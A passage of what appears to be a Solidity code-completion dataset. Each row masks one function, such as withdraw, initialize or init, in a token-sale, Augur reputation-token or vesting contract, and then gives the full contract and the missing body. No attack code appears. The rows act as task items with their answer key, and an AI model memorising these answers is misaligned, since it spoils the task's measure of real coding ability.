uint constant MAGNITUDE = 10**6;
uint constant LOG1DOT5 = 405465; // log(1.5) under MAGNITUDE
uint constant THREE_SECOND= 15 * MAGNITUDE / 10; // 1.5 under MAGNITUDE
uint public a; // paremeter a of the price fuction price = a*log(t)+b, 18 decimals
uint public b; // paremeter b of the price fuction price = a*log(t)+b, 18 decimals
uint public c; // paremeter exchange rate of eth
uint public blockInterval; // number of blocks where the token price is fixed
uint public startBlockNumber; // The starting block that the token can be mint.
address public platform;
uint public lowerBoundaryETH; // Refuse incoming ETH lower than this value
uint public upperBoundaryETH; // Refuse incoming ETH higher than this value
uint public supplyPerInterval; // miningSupply / MINING_INTERVAL
uint public miningInterval;
uint public tokenMint = 0;
EIP20Interface public token;
/// @dev sets boundaries for incoming tx
/// @dev from FoMo3Dlong
modifier isWithinLimits(uint _eth) {
require(_eth >= lowerBoundaryETH, "pocket lint: not a valid currency");
require(_eth <= upperBoundaryETH, "no vitalik, no");
_;
}
/// @dev Initialize the token mint parameters
/// @dev Can only be excuted once.
constructor(
address tokenAddress,
uint _miningInterval,
uint _supplyPerInterval,
uint _a,
uint _b,
uint _c,
uint _blockInterval,
uint _startBlockNumber,
address _platform,
uint _lowerBoundaryETH,
uint _upperBoundaryETH)
public {
require(_lowerBoundaryETH < _upperBoundaryETH, "Lower boundary is larger than upper boundary!");
token = EIP20Interface(tokenAddress);
a = _a;
b = _b;
c = _c;
blockInterval = _blockInterval;
startBlockNumber = _startBlockNumber;
platform = _platform;
lowerBoundaryETH = _lowerBoundaryETH;
upperBoundaryETH = _upperBoundaryETH;
miningInterval = _miningInterval;
supplyPerInterval = _supplyPerInterval;
}
function changeWithdraw(address _platform) public onlyOwner {
platform = _platform;
}
function changeRate(uint _c) public onlyOwner {
c = _c;
}
function withdraw(address _to) public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> }
/// @dev Mint token based on the current token price.
/// @dev The token number is limited during each interval.
function buy() public isWithinLimits(msg.value) payable {
uint currentStage = getCurrentStage(); // from 1 to MINING_INTERVAL
require(tokenMint < currentStage.mul(supplyPerInterval), "No token avaiable");
uint currentPrice = calculatePrice(currentStage); // 18 decimal
uint amountToBuy = msg.value.mul(10**uint(decimals)).div(currentPrice);
if(tokenMint.add(amountToBuy) > currentStage.mul(supplyPerInterval)) {
amountToBuy = currentStage.mul(supplyPerInterval).sub(tokenMint);
token.transfer(msg.sender, amountToBuy);
tokenMint = tokenMint.add(amountToBuy);
uint refund = msg.value.sub(amountToBuy.mul(currentPrice).div(10**uint(decimals)));
msg.sender.transfer(refund);
platform.transfer(msg.value.sub(refund));
} else {
token.transfer(msg.sender, amountToBuy);
tokenMint = tokenMint.add(amountToBuy);
platform.transfer(msg.value);
}
}
function() public payable {
buy();
}
/// @dev Shows the remaining token of the current token mint phase
function tokenRemain() public view returns (uint) {
uint currentStage = getCurrentStage();
return currentStage * supplyPerInterval - tokenMint;
}
/// @dev Get the current token mint phase between 1 and MINING_INTERVAL
function getCurrentStage() public view returns (uint) {
require(block.number >= startBlockNumber, "Not started yet");
uint currentStage = (block.number.sub(startBlockNumber)).div(blockInterval) + 1;
if (currentStage <= miningInterval) {
return currentStage;
} else {
return miningInterval;
}
}
/// @dev Return the price of one token during the nth stage
/// @param stage Current stage from 1 to 365
/// @return Price per token
function calculatePrice(uint stage) public view returns (uint) {
return a.mul(log(stage.mul(MAGNITUDE))).div(MAGNITUDE).add(b).div(c);
}
/// @dev Return the e based logarithm of x demonstrated by Vitalik
/// @param input The actual input (>=1) times MAGNITUDE
/// @return result The actual output times MAGNITUDE
function log(uint input) internal pure returns (uint) {
uint x = input;
require(x >= MAGNITUDE, "");
if (x == MAGNITUDE) {
return 0;
}
uint result = 0;
while (x >= THREE_SECOND) {
result += LOG1DOT5;
x = x * 2 / 3;
}
x = x - MAGNITUDE;
uint y = x;
uint i = 1;
while (i < 10) {
result = result + (y / i);
i += 1;
y = y * x / MAGNITUDE;
result = result - (y / i);
i += 1;
y = y * x / MAGNITUDE;
}
return result;
}
} | contract CryptojoyTokenSeller is Ownable {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint public miningSupply; // minable part
uint constant MAGNITUDE = 10**6;
uint constant LOG1DOT5 = 405465; // log(1.5) under MAGNITUDE
uint constant THREE_SECOND= 15 * MAGNITUDE / 10; // 1.5 under MAGNITUDE
uint public a; // paremeter a of the price fuction price = a*log(t)+b, 18 decimals
uint public b; // paremeter b of the price fuction price = a*log(t)+b, 18 decimals
uint public c; // paremeter exchange rate of eth
uint public blockInterval; // number of blocks where the token price is fixed
uint public startBlockNumber; // The starting block that the token can be mint.
address public platform;
uint public lowerBoundaryETH; // Refuse incoming ETH lower than this value
uint public upperBoundaryETH; // Refuse incoming ETH higher than this value
uint public supplyPerInterval; // miningSupply / MINING_INTERVAL
uint public miningInterval;
uint public tokenMint = 0;
EIP20Interface public token;
/// @dev sets boundaries for incoming tx
/// @dev from FoMo3Dlong
modifier isWithinLimits(uint _eth) {
require(_eth >= lowerBoundaryETH, "pocket lint: not a valid currency");
require(_eth <= upperBoundaryETH, "no vitalik, no");
_;
}
/// @dev Initialize the token mint parameters
/// @dev Can only be excuted once.
constructor(
address tokenAddress,
uint _miningInterval,
uint _supplyPerInterval,
uint _a,
uint _b,
uint _c,
uint _blockInterval,
uint _startBlockNumber,
address _platform,
uint _lowerBoundaryETH,
uint _upperBoundaryETH)
public {
require(_lowerBoundaryETH < _upperBoundaryETH, "Lower boundary is larger than upper boundary!");
token = EIP20Interface(tokenAddress);
a = _a;
b = _b;
c = _c;
blockInterval = _blockInterval;
startBlockNumber = _startBlockNumber;
platform = _platform;
lowerBoundaryETH = _lowerBoundaryETH;
upperBoundaryETH = _upperBoundaryETH;
miningInterval = _miningInterval;
supplyPerInterval = _supplyPerInterval;
}
function changeWithdraw(address _platform) public onlyOwner {
platform = _platform;
}
function changeRate(uint _c) public onlyOwner {
c = _c;
}
<FILL_FUNCTION>
/// @dev Mint token based on the current token price.
/// @dev The token number is limited during each interval.
function buy() public isWithinLimits(msg.value) payable {
uint currentStage = getCurrentStage(); // from 1 to MINING_INTERVAL
require(tokenMint < currentStage.mul(supplyPerInterval), "No token avaiable");
uint currentPrice = calculatePrice(currentStage); // 18 decimal
uint amountToBuy = msg.value.mul(10**uint(decimals)).div(currentPrice);
if(tokenMint.add(amountToBuy) > currentStage.mul(supplyPerInterval)) {
amountToBuy = currentStage.mul(supplyPerInterval).sub(tokenMint);
token.transfer(msg.sender, amountToBuy);
tokenMint = tokenMint.add(amountToBuy);
uint refund = msg.value.sub(amountToBuy.mul(currentPrice).div(10**uint(decimals)));
msg.sender.transfer(refund);
platform.transfer(msg.value.sub(refund));
} else {
token.transfer(msg.sender, amountToBuy);
tokenMint = tokenMint.add(amountToBuy);
platform.transfer(msg.value);
}
}
function() public payable {
buy();
}
/// @dev Shows the remaining token of the current token mint phase
function tokenRemain() public view returns (uint) {
uint currentStage = getCurrentStage();
return currentStage * supplyPerInterval - tokenMint;
}
/// @dev Get the current token mint phase between 1 and MINING_INTERVAL
function getCurrentStage() public view returns (uint) {
require(block.number >= startBlockNumber, "Not started yet");
uint currentStage = (block.number.sub(startBlockNumber)).div(blockInterval) + 1;
if (currentStage <= miningInterval) {
return currentStage;
} else {
return miningInterval;
}
}
/// @dev Return the price of one token during the nth stage
/// @param stage Current stage from 1 to 365
/// @return Price per token
function calculatePrice(uint stage) public view returns (uint) {
return a.mul(log(stage.mul(MAGNITUDE))).div(MAGNITUDE).add(b).div(c);
}
/// @dev Return the e based logarithm of x demonstrated by Vitalik
/// @param input The actual input (>=1) times MAGNITUDE
/// @return result The actual output times MAGNITUDE
function log(uint input) internal pure returns (uint) {
uint x = input;
require(x >= MAGNITUDE, "");
if (x == MAGNITUDE) {
return 0;
}
uint result = 0;
while (x >= THREE_SECOND) {
result += LOG1DOT5;
x = x * 2 / 3;
}
x = x - MAGNITUDE;
uint y = x;
uint i = 1;
while (i < 10) {
result = result + (y / i);
i += 1;
y = y * x / MAGNITUDE;
result = result - (y / i);
i += 1;
y = y * x / MAGNITUDE;
}
return result;
}
} |
uint remainBalance = token.balanceOf(address(this));
return token.transfer(_to, remainBalance);
| function withdraw(address _to) public onlyOwner returns (bool success) | function withdraw(address _to) public onlyOwner returns (bool success) |
85317 | ReputationToken | initialize | contract ReputationToken is DelegationTarget, ITyped, Initializable, VariableSupplyToken, IReputationToken {
using SafeMathUint256 for uint256;
string constant public name = "Reputation";
string constant public symbol = "REP";
uint8 constant public decimals = 18;
IUniverse private universe;
uint256 private totalMigrated;
mapping(address => uint256) migratedToSibling;
uint256 private parentTotalTheoreticalSupply;
uint256 private totalTheoreticalSupply;
// Auto migration related state
bool private isMigratingFromLegacy;
uint256 private targetSupply;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenMigratingFromLegacy() {
require(isMigratingFromLegacy);
_;
}
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotMigratingFromLegacy() {
require(!isMigratingFromLegacy);
_;
}
function initialize(IUniverse _universe) public onlyInGoodTimes beforeInitialized returns (bool) {<FILL_FUNCTION_BODY> }
function migrateOutByPayout(uint256[] _payoutNumerators, bool _invalid, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(_attotokens > 0);
IUniverse _destinationUniverse = universe.createChildUniverse(_payoutNumerators, _invalid);
IReputationToken _destination = _destinationUniverse.getReputationToken();
burn(msg.sender, _attotokens);
_destination.migrateIn(msg.sender, _attotokens);
return true;
}
function migrateOut(IReputationToken _destination, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(_attotokens > 0);
assertReputationTokenIsLegitSibling(_destination);
burn(msg.sender, _attotokens);
_destination.migrateIn(msg.sender, _attotokens);
return true;
}
function migrateIn(address _reporter, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
IUniverse _parentUniverse = universe.getParentUniverse();
require(ReputationToken(msg.sender) == _parentUniverse.getReputationToken());
mint(_reporter, _attotokens);
totalMigrated += _attotokens;
// Award a bonus if migration is done before the fork period is over, even if it has finalized
if (controller.getTimestamp() < _parentUniverse.getForkEndTime()) {
uint256 _bonus = _attotokens.div(Reporting.getForkMigrationPercentageBonusDivisor());
mint(_reporter, _bonus);
totalTheoreticalSupply += _bonus;
}
// Update the fork tenative winner and finalize if we can
if (!_parentUniverse.getForkingMarket().isFinalized()) {
_parentUniverse.updateTentativeWinningChildUniverse(universe.getParentPayoutDistributionHash());
}
return true;
}
function mintForReportingParticipant(uint256 _amountMigrated) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
IUniverse _parentUniverse = universe.getParentUniverse();
IReportingParticipant _reportingParticipant = IReportingParticipant(msg.sender);
require(_parentUniverse.isContainerForReportingParticipant(_reportingParticipant));
uint256 _bonus = _amountMigrated.div(2);
mint(_reportingParticipant, _bonus);
totalTheoreticalSupply += _bonus;
return true;
}
function transfer(address _to, uint _value) public whenNotMigratingFromLegacy returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public whenNotMigratingFromLegacy returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function trustedUniverseTransfer(address _source, address _destination, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(IUniverse(msg.sender) == universe);
return internalTransfer(_source, _destination, _attotokens);
}
function trustedMarketTransfer(address _source, address _destination, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(universe.isContainerForMarket(IMarket(msg.sender)));
return internalTransfer(_source, _destination, _attotokens);
}
function trustedReportingParticipantTransfer(address _source, address _destination, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(universe.isContainerForReportingParticipant(IReportingParticipant(msg.sender)));
return internalTransfer(_source, _destination, _attotokens);
}
function trustedFeeWindowTransfer(address _source, address _destination, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(universe.isContainerForFeeWindow(IFeeWindow(msg.sender)));
return internalTransfer(_source, _destination, _attotokens);
}
function assertReputationTokenIsLegitSibling(IReputationToken _shadyReputationToken) private view returns (bool) {
IUniverse _shadyUniverse = _shadyReputationToken.getUniverse();
require(universe.isParentOf(_shadyUniverse));
IUniverse _legitUniverse = _shadyUniverse;
require(_legitUniverse.getReputationToken() == _shadyReputationToken);
return true;
}
function getTypeName() public view returns (bytes32) {
return "ReputationToken";
}
function getUniverse() public view returns (IUniverse) {
return universe;
}
function getTotalMigrated() public view returns (uint256) {
return totalMigrated;
}
function getLegacyRepToken() public view returns (ERC20) {
return ERC20(controller.lookup("LegacyReputationToken"));
}
function updateSiblingMigrationTotal(IReputationToken _token) public whenNotMigratingFromLegacy returns (bool) {
require(_token != this);
IUniverse _shadyUniverse = _token.getUniverse();
require(_token == universe.getParentUniverse().getChildUniverse(_shadyUniverse.getParentPayoutDistributionHash()).getReputationToken());
totalTheoreticalSupply += migratedToSibling[_token];
migratedToSibling[_token] = _token.getTotalMigrated();
totalTheoreticalSupply -= migratedToSibling[_token];
return true;
}
function updateParentTotalTheoreticalSupply() public whenNotMigratingFromLegacy returns (bool) {
IUniverse _parentUniverse = universe.getParentUniverse();
totalTheoreticalSupply -= parentTotalTheoreticalSupply;
if (_parentUniverse == IUniverse(0)) {
parentTotalTheoreticalSupply = Reporting.getInitialREPSupply();
} else {
parentTotalTheoreticalSupply = _parentUniverse.getReputationToken().getTotalTheoreticalSupply();
}
totalTheoreticalSupply += parentTotalTheoreticalSupply;
return true;
}
function getTotalTheoreticalSupply() public view returns (uint256) {
return totalTheoreticalSupply;
}
function onTokenTransfer(address _from, address _to, uint256 _value) internal returns (bool) {
controller.getAugur().logReputationTokensTransferred(universe, _from, _to, _value);
return true;
}
function onMint(address _target, uint256 _amount) internal returns (bool) {
controller.getAugur().logReputationTokenMinted(universe, _target, _amount);
return true;
}
function onBurn(address _target, uint256 _amount) internal returns (bool) {
controller.getAugur().logReputationTokenBurned(universe, _target, _amount);
return true;
}
/**
* @dev Copies the balance of a batch of addresses from the legacy contract
* @param _holders Array of addresses to migrate balance
* @return True if operation was completed
*/
function migrateBalancesFromLegacyRep(address[] _holders) public onlyInGoodTimes whenMigratingFromLegacy afterInitialized returns (bool) {
ERC20 _legacyRepToken = getLegacyRepToken();
for (uint256 i = 0; i < _holders.length; i++) {
migrateBalanceFromLegacyRep(_holders[i], _legacyRepToken);
}
return true;
}
/**
* @dev Copies the balance of a single addresses from the legacy contract
* @param _holder Address to migrate balance
* @return True if balance was copied, false if was already copied or address had no balance
*/
function migrateBalanceFromLegacyRep(address _holder, ERC20 _legacyRepToken) private onlyInGoodTimes whenMigratingFromLegacy afterInitialized returns (bool) {
if (balances[_holder] > 0) {
return false; // Already copied, move on
}
uint256 amount = _legacyRepToken.balanceOf(_holder);
if (amount == 0) {
return false; // Has no balance in legacy contract, move on
}
mint(_holder, amount);
if (targetSupply == supply) {
isMigratingFromLegacy = false;
}
return true;
}
/**
* @dev Copies the allowances of a batch of addresses from the legacy contract. This is an optional step which may only be done before the migration is complete but is not required to complete it.
* @param _owners Array of owner addresses to migrate allowances
* @param _spenders Array of spender addresses to migrate allowances
* @return True if operation was completed
*/
function migrateAllowancesFromLegacyRep(address[] _owners, address[] _spenders) public onlyInGoodTimes whenMigratingFromLegacy afterInitialized returns (bool) {
ERC20 _legacyRepToken = getLegacyRepToken();
for (uint256 i = 0; i < _owners.length; i++) {
address _owner = _owners[i];
address _spender = _spenders[i];
uint256 _allowance = _legacyRepToken.allowance(_owner, _spender);
approveInternal(_owner, _spender, _allowance);
}
return true;
}
function getIsMigratingFromLegacy() public view returns (bool) {
return isMigratingFromLegacy;
}
function getTargetSupply() public view returns (uint256) {
return targetSupply;
}
} | contract ReputationToken is DelegationTarget, ITyped, Initializable, VariableSupplyToken, IReputationToken {
using SafeMathUint256 for uint256;
string constant public name = "Reputation";
string constant public symbol = "REP";
uint8 constant public decimals = 18;
IUniverse private universe;
uint256 private totalMigrated;
mapping(address => uint256) migratedToSibling;
uint256 private parentTotalTheoreticalSupply;
uint256 private totalTheoreticalSupply;
// Auto migration related state
bool private isMigratingFromLegacy;
uint256 private targetSupply;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenMigratingFromLegacy() {
require(isMigratingFromLegacy);
_;
}
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotMigratingFromLegacy() {
require(!isMigratingFromLegacy);
_;
}
<FILL_FUNCTION>
function migrateOutByPayout(uint256[] _payoutNumerators, bool _invalid, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(_attotokens > 0);
IUniverse _destinationUniverse = universe.createChildUniverse(_payoutNumerators, _invalid);
IReputationToken _destination = _destinationUniverse.getReputationToken();
burn(msg.sender, _attotokens);
_destination.migrateIn(msg.sender, _attotokens);
return true;
}
function migrateOut(IReputationToken _destination, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(_attotokens > 0);
assertReputationTokenIsLegitSibling(_destination);
burn(msg.sender, _attotokens);
_destination.migrateIn(msg.sender, _attotokens);
return true;
}
function migrateIn(address _reporter, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
IUniverse _parentUniverse = universe.getParentUniverse();
require(ReputationToken(msg.sender) == _parentUniverse.getReputationToken());
mint(_reporter, _attotokens);
totalMigrated += _attotokens;
// Award a bonus if migration is done before the fork period is over, even if it has finalized
if (controller.getTimestamp() < _parentUniverse.getForkEndTime()) {
uint256 _bonus = _attotokens.div(Reporting.getForkMigrationPercentageBonusDivisor());
mint(_reporter, _bonus);
totalTheoreticalSupply += _bonus;
}
// Update the fork tenative winner and finalize if we can
if (!_parentUniverse.getForkingMarket().isFinalized()) {
_parentUniverse.updateTentativeWinningChildUniverse(universe.getParentPayoutDistributionHash());
}
return true;
}
function mintForReportingParticipant(uint256 _amountMigrated) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
IUniverse _parentUniverse = universe.getParentUniverse();
IReportingParticipant _reportingParticipant = IReportingParticipant(msg.sender);
require(_parentUniverse.isContainerForReportingParticipant(_reportingParticipant));
uint256 _bonus = _amountMigrated.div(2);
mint(_reportingParticipant, _bonus);
totalTheoreticalSupply += _bonus;
return true;
}
function transfer(address _to, uint _value) public whenNotMigratingFromLegacy returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public whenNotMigratingFromLegacy returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function trustedUniverseTransfer(address _source, address _destination, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(IUniverse(msg.sender) == universe);
return internalTransfer(_source, _destination, _attotokens);
}
function trustedMarketTransfer(address _source, address _destination, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(universe.isContainerForMarket(IMarket(msg.sender)));
return internalTransfer(_source, _destination, _attotokens);
}
function trustedReportingParticipantTransfer(address _source, address _destination, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(universe.isContainerForReportingParticipant(IReportingParticipant(msg.sender)));
return internalTransfer(_source, _destination, _attotokens);
}
function trustedFeeWindowTransfer(address _source, address _destination, uint256 _attotokens) public onlyInGoodTimes whenNotMigratingFromLegacy afterInitialized returns (bool) {
require(universe.isContainerForFeeWindow(IFeeWindow(msg.sender)));
return internalTransfer(_source, _destination, _attotokens);
}
function assertReputationTokenIsLegitSibling(IReputationToken _shadyReputationToken) private view returns (bool) {
IUniverse _shadyUniverse = _shadyReputationToken.getUniverse();
require(universe.isParentOf(_shadyUniverse));
IUniverse _legitUniverse = _shadyUniverse;
require(_legitUniverse.getReputationToken() == _shadyReputationToken);
return true;
}
function getTypeName() public view returns (bytes32) {
return "ReputationToken";
}
function getUniverse() public view returns (IUniverse) {
return universe;
}
function getTotalMigrated() public view returns (uint256) {
return totalMigrated;
}
function getLegacyRepToken() public view returns (ERC20) {
return ERC20(controller.lookup("LegacyReputationToken"));
}
function updateSiblingMigrationTotal(IReputationToken _token) public whenNotMigratingFromLegacy returns (bool) {
require(_token != this);
IUniverse _shadyUniverse = _token.getUniverse();
require(_token == universe.getParentUniverse().getChildUniverse(_shadyUniverse.getParentPayoutDistributionHash()).getReputationToken());
totalTheoreticalSupply += migratedToSibling[_token];
migratedToSibling[_token] = _token.getTotalMigrated();
totalTheoreticalSupply -= migratedToSibling[_token];
return true;
}
function updateParentTotalTheoreticalSupply() public whenNotMigratingFromLegacy returns (bool) {
IUniverse _parentUniverse = universe.getParentUniverse();
totalTheoreticalSupply -= parentTotalTheoreticalSupply;
if (_parentUniverse == IUniverse(0)) {
parentTotalTheoreticalSupply = Reporting.getInitialREPSupply();
} else {
parentTotalTheoreticalSupply = _parentUniverse.getReputationToken().getTotalTheoreticalSupply();
}
totalTheoreticalSupply += parentTotalTheoreticalSupply;
return true;
}
function getTotalTheoreticalSupply() public view returns (uint256) {
return totalTheoreticalSupply;
}
function onTokenTransfer(address _from, address _to, uint256 _value) internal returns (bool) {
controller.getAugur().logReputationTokensTransferred(universe, _from, _to, _value);
return true;
}
function onMint(address _target, uint256 _amount) internal returns (bool) {
controller.getAugur().logReputationTokenMinted(universe, _target, _amount);
return true;
}
function onBurn(address _target, uint256 _amount) internal returns (bool) {
controller.getAugur().logReputationTokenBurned(universe, _target, _amount);
return true;
}
/**
* @dev Copies the balance of a batch of addresses from the legacy contract
* @param _holders Array of addresses to migrate balance
* @return True if operation was completed
*/
function migrateBalancesFromLegacyRep(address[] _holders) public onlyInGoodTimes whenMigratingFromLegacy afterInitialized returns (bool) {
ERC20 _legacyRepToken = getLegacyRepToken();
for (uint256 i = 0; i < _holders.length; i++) {
migrateBalanceFromLegacyRep(_holders[i], _legacyRepToken);
}
return true;
}
/**
* @dev Copies the balance of a single addresses from the legacy contract
* @param _holder Address to migrate balance
* @return True if balance was copied, false if was already copied or address had no balance
*/
function migrateBalanceFromLegacyRep(address _holder, ERC20 _legacyRepToken) private onlyInGoodTimes whenMigratingFromLegacy afterInitialized returns (bool) {
if (balances[_holder] > 0) {
return false; // Already copied, move on
}
uint256 amount = _legacyRepToken.balanceOf(_holder);
if (amount == 0) {
return false; // Has no balance in legacy contract, move on
}
mint(_holder, amount);
if (targetSupply == supply) {
isMigratingFromLegacy = false;
}
return true;
}
/**
* @dev Copies the allowances of a batch of addresses from the legacy contract. This is an optional step which may only be done before the migration is complete but is not required to complete it.
* @param _owners Array of owner addresses to migrate allowances
* @param _spenders Array of spender addresses to migrate allowances
* @return True if operation was completed
*/
function migrateAllowancesFromLegacyRep(address[] _owners, address[] _spenders) public onlyInGoodTimes whenMigratingFromLegacy afterInitialized returns (bool) {
ERC20 _legacyRepToken = getLegacyRepToken();
for (uint256 i = 0; i < _owners.length; i++) {
address _owner = _owners[i];
address _spender = _spenders[i];
uint256 _allowance = _legacyRepToken.allowance(_owner, _spender);
approveInternal(_owner, _spender, _allowance);
}
return true;
}
function getIsMigratingFromLegacy() public view returns (bool) {
return isMigratingFromLegacy;
}
function getTargetSupply() public view returns (uint256) {
return targetSupply;
}
} |
endInitialization();
require(_universe != address(0));
universe = _universe;
updateParentTotalTheoreticalSupply();
ERC20 _legacyRepToken = getLegacyRepToken();
// Initialize migration related state. If this is Genesis universe REP the balances from the Legacy contract must be migrated before we enable usage
isMigratingFromLegacy = _universe.getParentUniverse() == IUniverse(0);
targetSupply = _legacyRepToken.totalSupply();
return true;
| function initialize(IUniverse _universe) public onlyInGoodTimes beforeInitialized returns (bool) | function initialize(IUniverse _universe) public onlyInGoodTimes beforeInitialized returns (bool) |
91487 | RPGVestingF | init | contract RPGVestingF is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
//address _vestingaddr;
IERC20 private _token;
uint256 private _total;
uint256 private _start = 0;
address[] private _beneficiarys;
uint256 constant _duration = 86400;
uint256 _releasealldays;
mapping(address => uint256) private _beneficiary_total;
mapping(address => uint256) private _released;
//event
event event_set_can_claim();
event event_claimed(address user,uint256 amount);
event event_change_address(address oldaddr,address newaddr);
constructor(uint256 releasealldays) public {
require(releasealldays > 0);
_releasealldays = releasealldays;
}
function init(IERC20 token, uint256 total,address[] calldata beneficiarys,uint256[] calldata amounts) external onlyOwner returns(bool) {<FILL_FUNCTION_BODY> }
function setStart(uint256 newStart) external onlyOwner{
//require(_vestingaddr == msg.sender);
require(newStart > block.timestamp && _start == 0);
_start = newStart;
}
/**
* @return the start time of the token vesting.
*/
function start() public view returns (uint256) {
return _start;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address[] memory) {
return _beneficiarys;
}
/**
* @return total tokens of the beneficiary address.
*/
function beneficiarytotal(address addr) public view returns (uint256) {
require(_beneficiary_total[addr] != 0,'not in beneficiary list');
return _beneficiary_total[addr];
}
/**
* @return total of the tokens.
*/
function total() public view returns (uint256) {
return _total;
}
/**
* @return total number can release to now.
*/
function calcvesting(address user) public view returns(uint256) {
require(_start > 0);
require(block.timestamp >= _start);
require(_beneficiary_total[user] > 0);
uint256 daynum = block.timestamp.sub(_start).div(_duration);
if(daynum <= _releasealldays)
{
return _beneficiary_total[user].mul(daynum).div(_releasealldays);
}
else
{
return _beneficiary_total[user];
}
}
/**
* claim all the tokens to now
* @return claim number this time .
*/
function claim() external returns(uint256) {
require(_start > 0);
require(_beneficiary_total[msg.sender] > 0);
uint256 amount = calcvesting(msg.sender).sub(_released[msg.sender]);
if(amount > 0)
{
_released[msg.sender] = _released[msg.sender].add(amount);
_token.safeTransfer(msg.sender,amount);
emit event_claimed(msg.sender,amount);
}
return amount;
}
/**
* @return all number has claimed
*/
function claimed(address user) public view returns(uint256) {
require(_start > 0);
return _released[user];
}
function changeaddress(address oldaddr,address newaddr) external {
require(newaddr != address(0));
require(_beneficiarys.length > 0);
require(_beneficiary_total[newaddr] == 0);
//if(msg.sender == _vestingaddr)
if(isOwner())
{
for(uint256 i = 0 ; i < _beneficiarys.length; i++)
{
if(_beneficiarys[i] == oldaddr)
{
_beneficiarys[i] = newaddr;
_beneficiary_total[newaddr] = _beneficiary_total[oldaddr];
_beneficiary_total[oldaddr] = 0;
_released[newaddr] = _released[oldaddr];
_released[oldaddr] = 0;
emit event_change_address(oldaddr,newaddr);
return;
}
}
}
else
{
require(msg.sender == oldaddr);
for(uint256 i = 0 ; i < _beneficiarys.length; i++)
{
if(_beneficiarys[i] == msg.sender)
{
_beneficiarys[i] = newaddr;
_beneficiary_total[newaddr] = _beneficiary_total[msg.sender];
_beneficiary_total[msg.sender] = 0;
_released[newaddr] = _released[msg.sender];
_released[msg.sender] = 0;
emit event_change_address(msg.sender,newaddr);
return;
}
}
}
}
} | contract RPGVestingF is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
//address _vestingaddr;
IERC20 private _token;
uint256 private _total;
uint256 private _start = 0;
address[] private _beneficiarys;
uint256 constant _duration = 86400;
uint256 _releasealldays;
mapping(address => uint256) private _beneficiary_total;
mapping(address => uint256) private _released;
//event
event event_set_can_claim();
event event_claimed(address user,uint256 amount);
event event_change_address(address oldaddr,address newaddr);
constructor(uint256 releasealldays) public {
require(releasealldays > 0);
_releasealldays = releasealldays;
}
<FILL_FUNCTION>
function setStart(uint256 newStart) external onlyOwner{
//require(_vestingaddr == msg.sender);
require(newStart > block.timestamp && _start == 0);
_start = newStart;
}
/**
* @return the start time of the token vesting.
*/
function start() public view returns (uint256) {
return _start;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address[] memory) {
return _beneficiarys;
}
/**
* @return total tokens of the beneficiary address.
*/
function beneficiarytotal(address addr) public view returns (uint256) {
require(_beneficiary_total[addr] != 0,'not in beneficiary list');
return _beneficiary_total[addr];
}
/**
* @return total of the tokens.
*/
function total() public view returns (uint256) {
return _total;
}
/**
* @return total number can release to now.
*/
function calcvesting(address user) public view returns(uint256) {
require(_start > 0);
require(block.timestamp >= _start);
require(_beneficiary_total[user] > 0);
uint256 daynum = block.timestamp.sub(_start).div(_duration);
if(daynum <= _releasealldays)
{
return _beneficiary_total[user].mul(daynum).div(_releasealldays);
}
else
{
return _beneficiary_total[user];
}
}
/**
* claim all the tokens to now
* @return claim number this time .
*/
function claim() external returns(uint256) {
require(_start > 0);
require(_beneficiary_total[msg.sender] > 0);
uint256 amount = calcvesting(msg.sender).sub(_released[msg.sender]);
if(amount > 0)
{
_released[msg.sender] = _released[msg.sender].add(amount);
_token.safeTransfer(msg.sender,amount);
emit event_claimed(msg.sender,amount);
}
return amount;
}
/**
* @return all number has claimed
*/
function claimed(address user) public view returns(uint256) {
require(_start > 0);
return _released[user];
}
function changeaddress(address oldaddr,address newaddr) external {
require(newaddr != address(0));
require(_beneficiarys.length > 0);
require(_beneficiary_total[newaddr] == 0);
//if(msg.sender == _vestingaddr)
if(isOwner())
{
for(uint256 i = 0 ; i < _beneficiarys.length; i++)
{
if(_beneficiarys[i] == oldaddr)
{
_beneficiarys[i] = newaddr;
_beneficiary_total[newaddr] = _beneficiary_total[oldaddr];
_beneficiary_total[oldaddr] = 0;
_released[newaddr] = _released[oldaddr];
_released[oldaddr] = 0;
emit event_change_address(oldaddr,newaddr);
return;
}
}
}
else
{
require(msg.sender == oldaddr);
for(uint256 i = 0 ; i < _beneficiarys.length; i++)
{
if(_beneficiarys[i] == msg.sender)
{
